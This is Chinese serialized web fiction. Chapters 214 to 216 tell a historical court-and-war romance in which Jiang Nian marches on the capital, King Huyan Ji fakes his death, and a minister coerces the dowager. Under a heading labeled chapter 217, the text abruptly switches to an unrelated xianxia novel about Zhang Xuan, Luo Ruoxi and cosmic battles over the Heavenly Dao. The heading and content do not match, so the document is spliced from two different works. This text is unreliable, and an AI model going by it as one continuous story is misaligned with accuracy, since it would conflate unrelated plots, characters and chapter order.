他守在院外,余光中见她素淡着脸,大多时候面上无悲无喜,只有在抱起小王子时,才会展露温柔的笑颜。 小王子很黏他母亲,梁妃若不在他眼前倒还罢,只要见着了,不管是方嫂抱着,抑或是乳母抱着,他皆不要,定探出肥肉肉的胳膊叫他母亲抱。 偶尔梁妃同他对视上,也只是微微一笑,他猜不出她在想什么…… 第214章 风暴将至 阿多图不知江念作何打算,自上次说容她想想后,便一直没有回话,这日,终是忍不住,让丫鬟往里通报,然后进到屋室里。 只见其一身秋香色长衫,乌云般的长发用白玉簪绾在脑后,不戴珠翠簪珥,很是随意的扮相,整个人素得像凉过后的开水。 她的怀里抱着银红撒花裹布襁褓,襁褓中是满月后的小王子,嘴里哼哼呀呀的。 “上次殿下说想一想,不知思虑得如何?”阿多图问道。 江念看了一眼怀里的孩儿,眼角眉梢都是柔意,头也不抬地说道:“想好了,回京都。” 阿多图一时没转过来,复问道:“殿下是说……回京都?” 江念“嗯”了一声。 这一下倒轮到阿多图忧惧起来,他的职责是保护江念,这是大王临走前千万叮嘱的,如今有了小王子,那么他就要护她母子平安,真要说来,京都就算生乱,他也不必管,他的使命是眼前二人。 他来此一问也是需得心里有数,知道接下来该当如何,梁妃若决定不去京都,那么他就随在此处,哪里也不去。 可她刚才却说回京都。 “殿下上次顾虑小王子的安危,怎么……” 江念这才抬起眼,看向阿多图:“京都一定要回的,那里有他父亲留给他的东西,不能平白让给他人,只是,不是现在动身,还需再等等。” “等?等什么?”阿多图问道。 “等一个人,他来了,咱们就可动身回京。”江念目光放远,落到院中的花木上,“算着时间,快了。” 阿多图没再细问。 又过了几日,阿多图正在调配府中护卫,一个门子慌张跑来,扬手指着府门的方向,声气不接地说道:“大人……门前好……好多兵……” 阿多图心里一凝,旋即带人出到府门,定目一看。 只见门前黑压压一片军兵,阿多图被这一景象震了片刻,很快回神,眼睛落到为首的魁伟男子身上,那人亦回看向他,抱拳道:“阿多图大人,别来无恙。” “别来无恙,达鲁将军。”阿多图趋身下阶,迎了过去。 达鲁翻身下马,同阿多图上前厮见,又转头让副将带兵守于府外,同阿多图进到府内。 下人已往前通报于江念,二人一入府中,径直拜见。 江念见了达鲁,让他起身。 达鲁起身侍立。 原是江念在孩子落草后,她就写了一封信让秋月送去驿站,寄往夷越东境。 她预料到呼延吉的死讯传到京都,势必会掀起一场风雨,若贸然带孩子回京,无异于羊入虎口,以前他在时,他能护着她,如今他不在了,为了孩子,她必须得振作起来,为他们的孩儿争一争。 绝不叫他勤恪守护的帝业落于他人之手。 “达鲁将军带了多少兵马?”江念问道。 达鲁肃声道:“步兵六万,骑兵四万,共计十万人马,俱已屯于城外,只听殿下一声令下,便可直驱京都。” 一旁的阿多图握紧拳头,气血翻涌到胸口,再次看向江念的眼神大不一样,他真没想到,江念居然一早就料到了危情,并想办法千里调兵! 江念点了点头,正待说什么,方嫂抱着孩子在门外探头探脑,江念招手让她进来。 “怎么了?” 方嫂先是眼神躲闪地看了一眼屋里的达鲁,不敢走得太近,这人身上煞气好重,于是兜抱着孩子,夹着步子走到江念身侧。 “不知怎的,一直哭哩!乳母才喂过,也不讨觉睡,就是哄不好。” 江念紧张地从她手里接过孩子,也是奇了,那孩子一到她怀里,就安静了,破涕为笑,见孩子笑了,她的一颗心这才松缓,逗弄他说道:“朔儿调皮了,是不是?” 那孩子咧着无牙的嘴,咯咯笑起来,显得很开心。 江念垂着颈儿,看着怀里的孩子,轻声道:“朔儿,咱们可以回京都了,那里是你的家,你也开心,对不对?” 孩子像是听懂了,“呃”着哼哼了一声,然后又咯咯笑起来。 达鲁看着眼前的一幕,心底对自己说,就算搭上性命,也要护好梁妃殿下同小王子,以报恩情。 江念叫秋月进来,引着达鲁先去休息,预备次日出发。 出发的前一日,秋月遣散了府里的奴仆,一一发了遣散银,方嫂也领了银子,特意到江念跟前谢恩。 方嫂是个灵活且聪明的妇人,先前她认为江念是夷越哪个权贵豢养的外室,若是外室,孩子出生后,那男人多多少少要来几次,却是一次也没来过,这就可怪。 再后来见灶屋里的几个药膳女婢,其礼数不似一般大户人家的婢子,她行走过那些大户人家,不是没见识过,相较之下,那些大户人家的婢子在那几个灶屋药膳女婢跟前就不够看了。 这些人行止间就跟标着尺一样。 再加上院中的那些高大护卫,尤其是那名叫阿多图的护卫头领,分明是武将之风姿。 心里已有隐隐的猜测,如今又出现这么一场滔天震动,还有什么不清楚的。 “这些时日,多谢嫂子照顾我和孩儿,有你从旁说笑,这院子里总是亮堂堂的。”江念说道。 方嫂双膝跪下,向上磕头行礼,说道:“奴妇惶恐,敬奉不周全,此去愿夫人同小主子平平安安。” 江念默默念着,平平安安,然后看了秋月一眼,秋月上前将方嫂扶起。 “奴妇离去前,可否再抱一抱小主子?”方嫂问道,她从前替人接生完领银子走人,这段时日相处下来,彼此间也有了感情。 乳母抱来孩子,方嫂接到怀里逗弄了一会儿,交还于乳母,最后同江念辞别而去。 江念走出屋室,立于门首下,望向远方的天际,眼神悠远且坚韧。 次日一早,一行人起身,在大部兵马的环伺中往京都行去…… …… 再说另一端…… 那日,呼延吉在府邸休整一夜,人已骑于马上,正待回京都,却收到一封信报。 上面说,大梁朝廷同梁东境的恒王联合压入梁西境。 于是不得不放下回京的念头,转而去了营寨,立马召集手下升帐议事。 主帐内,标志性的长形木桌,上面铺陈一幅舆图。 呼延吉立于桌头,并不开口,默然地听着众将纷纷道述眼下的危机况景。 “他们要来就来,还怕这群虾兵蟹将不成?”一大胡子将领莽声道。 另一将领道:“话不是这等说,他们独自来,自然是不怕,就怕前后围杀,再使出伎俩,届时也难以招架。” 这时又一人插话进来:“而且……梁东境的恒王兵马骁锐,猛将如云,这般虎狼之师,并非梁室朝廷那些酒囊饭袋可比。” 先前那位大胡子将领喝声道:“怎能长他人志气,灭自家威风。” “你个大胡子,只知一味逞强,知己知彼方能……” 这方还未说完,那方又叫嚷起来,一时间帐中好不热闹。 呼延吉并不制止他们,随他们呼喝,只是一双眼盯在舆图上,凝着眉目不知在思索着什么。 一边的昆善见了,忙叫那几人止住声息:“别扰了大王。” 几名军中大将赶紧停下争执,俱看向上首的君王,反正不论大王说什么,只要他一句话,哪怕叫他们把头伸出来给人砍,他们都还争抢着做第一个。 一时间,主帐中安静地只听到帐外军兵的操练声。 众人见君王的一双眼虚飘在舆图之上,更像是空浮着,好似他并没有真正看那图,只是思考之时,舆图承载了他的目力。 过了一会儿,就见他双臂环胸,其中一只手的食指有一下无一下地点着,突兀地来了一句:“他们也不是铁板一块。” 君王发话,底下人自然要费尽心思揣摩,不过仅凭一句话,都有些摸不着这话里更深的意思。 只有昆善说道:“王的意思是再像上次那样使用离间计?” 呼延吉摇头道:“非也,离间计用在此时不妥,显得拙劣。” “那王的意思是?”昆善亦想不出,不过料定大王已有计策。 “梁帝同恒王积怨甚深,尤其是李恒对梁帝必是恨入骨髓,这次他二人联合,必是梁帝以驱逐异族为说辞,叫李恒同他联手。”呼延吉两眼微微觑起,接着说道,“以我对李恒的了解,他恨梁帝比恨我多,绝不会因这么个理由同梁帝联合。” 昆善眼中一闪,说道:“王的意思是……” “李恒不是梁帝那蠢厮,他肯同梁帝联合定是欲在中间行诈,让我们同朝廷兵马相杀,最后他好渔翁得利。”呼延吉说道。 其中一名军将说道:“纵使知道他的伎俩,我方却被逼入此境,无法化解。” 呼延吉扬唇笑道:“将军此言错矣,既然知道症结,对症下药即可。” 众将相互对看,齐齐转头看向上首,说道:“大王可是有应对之策了?” 呼延吉双手撑于桌案之上,说道:“乾坤在握,只待落子……” 第215章 呼延吉真死了? 众将得知君王已有计策,围拢上前。 呼延吉点了点桌案,说道:“李恒打着渔翁得利的主意,谁又知梁帝有无他图,双方本就各揣心思,中间的纽带风一吹就断,若我们在,他们为友,若我们不在呢?各位说说看,他双方是个什么境况?还能并肩作战否?” “自然不能。”众将齐声道。 呼延吉继续说道:“只需使一计‘金蝉脱壳’,梁朝廷和恒王兵马没了共同的敌人,自会内讧,让他们去斗,我们只需隔岸观火,待他们争出高低,我方以逸待劳,全力攻打得胜的一方,梁西境这块肥肉尽入我夷越彀中。” 众将听罢俱大笑出声,交口称赞不绝。 笑过后,昆善又问:“只是该如何‘金蝉脱壳’?” “这也好办,寻一处山道,山阜上插我方旌旗,山体埋些硝石、硫磺制成的火药,等梁军入境后,对方的探子必会前来探报,我方兵卒于山间鸣锣击鼓,一来刻意暴露行迹,二来掩盖火药声,再做出兵马行入山口的假象。”呼延吉说道。 下首的大胡子恍然粗声道:“王的意思是,等梁国鼠辈靠近之时,我方引爆火药,山体轰隆掩埋,让守望在附近的小兵散布消息,就说大王带兵途经此处,最后被石头砸死掩埋。” 另一将领怼了大胡子一拳,斥责他:“你嘴巴说话注意些,什么君王被砸死了……”意识自己说了什么,呸呸两声。 其他人跟着笑出声,昆善笑着摇头:“接下来,我夷越兵无主,军皆溃散,自然也就不足为惧,此乃‘金蝉脱壳’之计。” “不错。”呼延吉点头道。 “只是……”另一名将领欲言又止。 呼延吉看去,示意他继续往下说。 “卑将认为若是山体滑落,必是经过淫雨冲刷,这才说得过去,否则人为痕迹太过明显。” 呼延吉思忖片刻:“葛萨将军所言甚是,如今梁境这个时节,秋霖不绝,不上三两日就有雨水,正是天假其便。” 众人纷纷点头称是。 待众人散去后,昆善仍留于帐中。 “昆将军还有事?” 昆善想了想,启口道:“可要修书一封送往京都告知内情?” “不必,李恒这人心思缜密,对付他万不能掉以轻心,做不到以假乱真,瞒不过他。” 呼延吉思虑过,一旦他的死讯传出,京都定会生乱,他倒不怕乱,就怕他不乱,只是唯有两人叫他惦记,一个是生母高氏,一个便是妻子江氏。 京都那边他需得瞒严实,太后本就待他不算亲厚,想来她对他的死不会太过伤感,只是江念那边,好在她居于荣水湾……待他找个时机,给她去一封书信说明,只是这个关口还不行。 昆善点了点头:“微臣担心大王战殁的消息一旦传出,京都那边恐会不安宁……” 呼延吉眼睛往下一压,说道:“我正愁这些宵小藏得深,待他们尽数浮出水面,再连根拔起,碾为齑粉。”说罢转头看向昆善,“将军说是也不是?” 昆善心道,届时也不知哪个倒霉鬼往这位的枪尖上撞。 一切商议已定,之后的行动细节,无需呼延吉另外吩咐,自有手下人操办。 这中间,夷越探兵频繁观报梁军动向,终于,梁军入了西境,时机成熟,夷越启行“金蝉脱壳”之计。 消息传到恒王军帐之时,众人一时间不知真假,一来呼延吉那般人物就死了?二来未免太过巧合。 于是遣人再探,结果得到的消息就是呼延吉兵行于山道间,死于山崩,此事并非秘密,西境早已传开。 李恒召众人聚首于帐中。 “众位将军如何看?” 其中一名周姓大将说道:“倒也不无可能,本是秋季,雨水多,山体滑坡也是常见,论他呼延吉再骁勇也一人身尔,怎敌得过自然之危。” 另一位李姓大将说道:“探报如何说?可有去那山道勘探过?” “差了几路人马探看,山路阻了,倾塌得厉害,全然无法进入,不过有发现夷越残旗,应是幸存兵卒弃的。”其中一人说道。 帐中安静下来,只有火炉里的木炭烧得噼啪响,星火飞起。 李恒拢了拢肩上的鹤氅,目光往下一扫,最后落到江轲的身上。 “江将军,你如何作想?” 江轲怔着好似没听到一样,直到李恒又唤了一声,他才回神,只道出四个字:“时也,命也。” 这时,一名大将朗笑出声:“呼延吉也有今日,正所谓,善人自有天助,恶人自有天收,这便是他的命劫。” 李恒端坐于上首,俊朗清癯的面庞并未因这一消息显露太多的情绪,只听他说道:“再派人去呼延吉城中的府邸探看,是否办丧。” 堂中一副将领命,正待离去,却又被李恒叫住:“若呼延吉身死,信报兵必会急报于王庭,着人于城郊拦截信报。” 副将应诺而去。 “殿下怕呼延吉诈死,所以截获送往王庭的信报?”那名周姓将军问道。 “不错。” 帐中众人点头道:“还是殿下缜密周到。” 李恒有些担忧地看了一眼江轲,不过这时他也不好说什么,于是同众将探讨下一步该当如何,只有江轲仍是发怔。 呼延吉死了?前不久才在一起畅饮,真论起来,呼延吉八岁赴梁为质,他二人亦兄亦友,后来呼延吉十五岁回了夷越,如今两人皆是二十出头,算起来,自梁国一别,不过短短几年,且在徽城又重逢过。 那一别就是永远。 太过突然,江轲有些不知该用何种态度面对,一方面,他二人是敌对阵营,战场上刀剑相向不讲私情,无疑,他同呼延吉有这一共识。 可真当他听到呼延吉命殒,又说不出那种感觉,称不上悲恸,但事情不应该这样啊。 还有,呼延吉不在了,阿姐怎么办,她得到消息没有?她若知晓,肯定承受不住,耳边的商讨之声还在继续。 “若呼延吉身亡,咱们接下来该当如何?”其中一人问道。 此话一出,众人看向上首,等待示下。 李恒嘴角挂着一丝几不可见的笑意:“老天替我们除了呼延吉这一劲敌,剩下的不足为惧。” 众将明白其意,纷纷得意地大笑起来。 晚间,江轲寻到李恒面前,就要辞去。 李恒静了一会儿,说道:“你是想去夷越接你阿姐?” 江轲点头:“呼延吉一死,阿姐没必要在夷越待下去,我得把她接到身边。” “你要去我不拦你,只是我不建议你这个时候去夷越。” “为何?” “呼延吉为夷越之君主,有他在时,夷越人尚能同梁人和平共处,他如今不在了,且两国酣战,你死我活的局面,你去了那边讨不到好,只怕连她的人也见不到。” 江轲眼中担忧更深:“如何是好?我阿姐岂不是处境更加艰难。” “倒也不至于,她身处王庭,暂时影响不到她。”李恒停顿了一会儿,又道,“不如这样,待收占梁西后,我派人同你一道去夷越走一遭,看看是何情状。” 江轲思忖一番,应下了。 …… 再说呼延吉这边,一切进行的都很顺利,身殒的消息一并放出,不与外界通半分声气。 这晚,他睡得迷迷糊糊,突然做了一个梦。 梦里,秋雨绵绵,下个不停,他身处一处山道间的土坡上,雨中隐隐传来女子的呜咽声,在这萧萧的山间,好不凄惨哀伤。 那呜咽像是应雨而生,一根根的雨线穿插进他的心房,心绪被雨中的悲戚牵动,当下纳罕,他绝非什么心软多情之人,怎么一女人的哭声竟扰他的心神。 难道是山间女鬼? 那哭泣中似有人声,心里越发好奇,当下将衣摆掖于腰间,手脚并用登着松软的泥土爬到了坡顶,放眼四顾,就见下势处瘫坐着一蓬头女子。 只是女人的面貌他看不清楚,很模糊,明明距离不远,可就是看不清。 女人背对着他,头身湿透,脏污的衣衫稀皱地贴在纤薄的背上,微伏着身,不知在做什么。 但他认定此女他认得,而且一见着她,心就不受控制地欢动还带着一点莫名的紧张,想离她更近,可那山体他下不去,好像他二人中间隔着一个虚空。 他听到她嘴里喃喃说着:“在哪里?你在哪里?” 接着又是骂骂咧咧,什么你个混账玩意儿,不是说在我生产前回来么…… 他下意识脱口而出,阿姐…… 女子听到了,转头看向他,哇啦啦哭得更大声:“你怎么狠心丢下我?” 不待他回答,她又一句赶似一句说出许多埋怨话,说什么早知如此不嫁你……变成了寡妇…… 女人一面说一面拿手拍着地面,他这才注意到她的手,十个指头全烂了,血糊糊的。 他叫她坚强一点,保护好他们的孩儿,他也不知自己为什么说这个话,好像顿涩的思想同躯体分开的,嘴里就是说了出来。 她又问,他们的孩子叫什么名字,他说,呼延拓,说完这个名字,他就醒了,骤然一醒,心悸和那股难受劲仍在心头震荡。 平了平思绪,心想着,若自己亡故的消息传到江念那里,她必心殇不已,决定等梁朝廷和恒王真正交锋后,派遣一人赶往荣水湾给她报个信儿。 可人算不如天算,从梁西境到荣水湾路途艰阻,等那人跋涉千里赶到荣水湾时,那座私宅已人去楼空,上面又一再交代径到荣水湾,不可绕去京都,就这么阴差阳错的误了。 话往回叙,彼边,李恒叫人拦截流星马,截获了信报,直到这一刻他才信呼延吉身殒。 这一消息的证实,李恒当下挥兵同梁朝廷搦战。 朝廷兵本就外强中干,不如李恒军兵骁锐,又被打了个措手不及,应对很是艰难,但朝廷兵胜在人多,一时间战况难分上下。 可怜那孙源自以为立了大功一件,同李恒定议毕,就带着一行人启程回大梁京都,原以为待他归去,等着他的会是赞誉厚赏,因他脚程慢,结果后发的战报同他一齐到了京都…… 第216章 囚禁 朝廷收到边关信报,呼延吉身死,结果恒王兵马转过头把矛头对向朝廷,意在独吞梁西。 梁帝为之震怒,那孙源才一进入京都城,连府邸也没回,就被下到牢狱之中,邀功不成最后反送了性命。 由于夷越军溃散逃走,梁帝同恒王从盟方转瞬之间敌对,一场激战在所难免,端看最后鹿死谁手。 …… 彼边,朵家府邸…… 朵尔罕自打上次夜访祥云殿后,听高太后说江念并非在寺庙祈福,而是往赴边境,一时间叫他有些踟蹰。 不得不承认,他仍是忌惮呼延吉,哪怕他死了,只要提起他的名字,他仍有些发怵。 如果真如高太后所说,梁妃并未去寺庙祈福,而是跟在呼延吉身边,那么这女人的行踪就至关重要。 到底呼延吉是生是死?他觉着生的可能性不大,多半人已经没了,眼下的况景就是最好的依撑。 只是……这个梁女到底去了哪里?这一犹豫就是好些天,落后再一想,左右已到了如今境地,没了退路,这样千载难逢的机遇,是上天的赐予。 于是再次领兵去了王庭,这一次务必让高太后授禅位诏书。 他本想着,只要禅位诏书上言明君王未延王嗣,由他朵尔罕统掌夷越王权,一来名正言顺,二来天命所归。 太后若不要这份体面,就不能怪他了。 祥云殿中,高太后正用着早饭,人年纪大了,吃得本就少,这会儿吃得更少,一碗清粥吃了半晌,只减了几勺子,面前的菜更是动也未动。 金掌事见了劝道:“太后多少再吃些,身体重要,待梁妃殿下回了,您没个好身子怎么行?她一向孝顺您,见了只怕也心疼。” 圣太后如今全凭一股意念撑着,实则精神在听到大王身殒的那日已经垮掉,这股意念有不甘心,亦有她说的那句“活要见人,死要见尸”。 世间一大悲,莫过于白发人送黑发人,而且还是两个那般优秀的黑发人。 成王弥留之时,太后守在他的身侧,可吉王却连个尸身都没有,太后待小儿子本就轻慢,如今连他最后一面也没见到,怎不叫她恸伤,然,追悔莫及。 她只能拿梁妃出来劝她,梁妃同大王联系最为紧密,好叫圣太后打起精神,起码有一丝盼望。 果然,圣太后点头道:“不错,这王庭还得我撑着,可不能这个时候倒了,叫朵贼趁意。” “正是。”金掌事用箸拈了一片细软的鱼肉糕,放入太后跟前的碟中,“这鱼肉里的刺都剔了,碾成肉糜,再用模子套形,您尝一尝,可是鲜嫩。” 高太后刚用箸拈起,还未入口,殿里径直进来一人,正是朵尔罕,随在他身后的是乌涣涣的青甲兵,王庭亲卫阻拦不住。 入朝不趋,赞拜不名,剑履上殿,朵尔罕比之更甚。 “大胆!太后正在用膳,你怎敢擅闯!”金掌事呵斥道。 朵尔罕假模假样地双手端于胸前,躬身行礼,不待高太后出声免礼,径自坐了下来,全然不把太后放在眼里。 “老臣再给太后一个时辰,太后可以慢慢享用饭食。”说罢,一抬手,身边的亲随立时拿出一个沙漏,放到桌案上。 高太后在那个沙漏上扫了一眼,面无表情地缓缓起身,离了餐桌,重新威坐于上首的宝座之上。 “一个时辰?朵大人不妨把话说明白些。”高氏说道。 朵尔罕拈髯轻笑道:“拿过来。” 亲随上前,双手承上一卷轴。 金掌事趋阶而下,从那名亲随手里接过,转呈到高太后面前。 高氏接过,展开一看,一脸霜色,朵尔罕竟敢亲拟禅位诏书,于是一把将卷轴掷到阶下:“逆贼当诛!” 朵尔罕丝毫不恼,说道:“逆贼?老臣可当不得一个‘逆’字。” “妄图谋权篡位,不是逆贼是什么?”高太后冷声道。 朵尔罕仍是那副老神在在的姿态,一张蜡脸似笑非笑地说道:“老臣这是顺应天命,呼延氏气运已尽,连个后嗣也无,这是老天看不下去降下的天罚,夷越不可无主,老臣只好勉为其难承下重责,这不是顺应天命?” 朵尔罕给亲随睇了一个眼色,亲随上前把地上的卷轴拾起,立在阶下,面对高太后的方向躬下身,做出双手呈递之态,看似恭谦,实是相逼。 朵尔罕又道:“太后也当顺应天命,在这份诏书上落下玺印,要知道逆天而行,不会有好下场。” 高氏冷笑一声:“朵大人这是在威胁本殿?当真从未见过如朵大人这般厚颜无耻之人。”说罢,睨了一眼阶下的卷轴,“我若不落玺印呢?” 朵尔罕撩开衣摆,跷起腿,不疾不徐地说道:“无妨,太后您落不落印,也就只这一个时辰,时辰一到太后仍不落印,老臣就要得罪了。” 阔大的祥云殿外不见银甲的亲卫,换成了朵家的青甲兵,殿内,高太后端坐于上首,阶下立着一位手执卷轴之人,朵尔罕坐于左边一溜排的一张椅上。 他手边的桌案上放着一个沙漏,好像一切都静止,只有里面的金沙缓缓地流动着,减少着…… …… 京都城门卫正待换值,忽感地面震荡,尘土遮天蔽日。 “怎么回事?!”一个城门卫奔下城头。 其他的城门卫亦紧张地往远处眺望,为首的侍卫长眼见不对,当下吩咐身边人:“报知当值禁军,速去!” 朵家在城外屯有几万兵甲,难道是朵家的青甲兵?若真是,京都只怕要彻底变天了。 这么大的动静引得进出城的百姓立在城门前观望。 这几日阿史勒正愁烦,圣太后被拘禁于王庭,朵尔罕以太后之安危扼住所有人的咽喉。 他手上虽有禁卫,却要顾及太后安危,又要提防城外驻扎的朵家私兵。 一旦战起,城中百姓少不得受池鱼之殃,这是他不愿见到的。 这时,崔致远走了过来,坐到他的对面,只是坐着,两人默默地看着眼前的满塘荷色,谁也不说话。 “大人——大人——”一名金甲禁卫跑了来,因跑得太急,一手撑于地面,大口大口地猛抽气。 阿史勒心头一凝,站起身:“什么事,不急,慢慢说。” 那名禁卫抹了一把脸上的汗,说道:“城门前有异动,只怕是朵家私兵进犯,城门卫叫末将来报知大人。” 阿史勒双手一紧,一言不发阔步朝外走去,崔致远听后,面色紧绷,当下跟在阿史勒身侧同去。 阿史勒快速地瞥了一眼崔致远,并未阻止他,覆巢之下安有完卵,若真是朵家私兵进犯,府里府外都一样。 两人出了府门,从下人手里接过缰绳,翻身上马,往城外奔去。 待二人驱到城门处,禁军已在城门前架起护城用的鹿角,城头弩台更是拉满弓箭,蓄势待发。 百姓们已被驱回城中,各自同家人相守,祈祷不要发生战事,愿老天降下奇迹。 “现下是什么情况?”阿史勒问向手下。 “没再前行,而是立于城外。” 阿史勒点头,同崔致远一道立于城头,两人放眼远眺,倒吸一口凉气,只见远处乌压压一片,如蜂蚁屯集,数目之众绝不止五万,难道这一劫数真的过不去了? 正在此时,对面远远有一人纵马奔来,墙头弓箭拉开,在那人纵马近前时,一支利箭“嗖”的从天降下,拦住那人的去路,正正落在他的马蹄之前,警示不准再往前行。 “止!越箭者诛!” “止!越箭者诛!” 城头鼓声大震,响彻钧天。 那人不敢再往前,却也不后退,只是勒着马头在原地不停地盘旋,显得有些焦躁和无措。 片刻后,他翻身下马,往周围看了看,然后低头不语,最后慢慢地走到箭矢边,弯下腰。 墙头众人不知他要做什么,睛目不转地将他看着,结果众人在看到他的举措后,瞪大双眼,一时间不知作何反应。 只见他拔起那支箭矢,举在自己身前,慢慢地往前移动,移一段距离就把箭往地上一插,示意墙头众人,自己没有越箭,仍是立在它的后面,然后再拔起,举箭于胸前,移动一距离,再次插入身前的地面。 示意众人,箭在前,人在后,他没越箭。 把一众人气得破口大骂,这……这是何等的无耻呐! 那人又往前行了一段,正待再次把箭矢从地面拔出,刚迈出一只脚,立时“嗖嗖嗖——”几声,接连十来支箭矢从天落下。 那人慌得不敢再动,低头一看,十几支箭羽围成一个圈,将他囚困在内。 “再往前一步,死!” 话音刚落,就见那人举起双手,挥摇不止,口中高声地叫喊着什么。 “他在嚷什么?”其中一个禁卫问道。 “我也听不清。”另一人答道。 人就是这样,越是听不清,就越是想听,于是乎,在好奇心的驱使下,一个个屏声敛气地侧耳去听,那人到底在嚷什么…… 第217章 梁妃还朝 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 